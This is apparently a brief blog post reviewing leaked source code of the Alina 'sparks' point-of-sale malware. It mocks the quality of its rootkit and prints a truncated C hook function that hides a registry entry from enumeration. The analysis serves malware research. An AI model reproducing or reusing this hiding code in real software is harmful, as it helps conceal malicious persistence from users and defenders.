Alina sparks source code review
Alina sparks source code review I got on my hands recently the source code of Alina "sparks", the main improvement that everyone is talking about and make the price of this malware rise is the rootkit feature. Josh Grunzweig did already an interesting coverage of a sample, but what worth this new version ? InjectedDLL.c from the source is a Chinese copy-paste of http://www.cnblogs.com/lzjsky/archive/2010/12/01/1892702.html and commented out, replaced with two kernel32 hooks instead, like if the author cannot into hooks :D a comment is still in Chinese as you can see on the screenshot. + this: LONG WINAPI RegEnumValueAHook(HKEY hKey, DWORD dwIndex, LPTSTR lpValueName,LPDWORD lpcchValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData) { LONG Result = RegEnumValueANext(hKey, dwIndex, lpValueName, lpcchValueName, lpReserved, lpType, lpData, lpcbData); if (StrCaseCompare(HIDDEN_REGISTRY_ENTRY, lpValueName) == 0) { Result = RegEnumValueWNext(hKey, dwIndex, ...
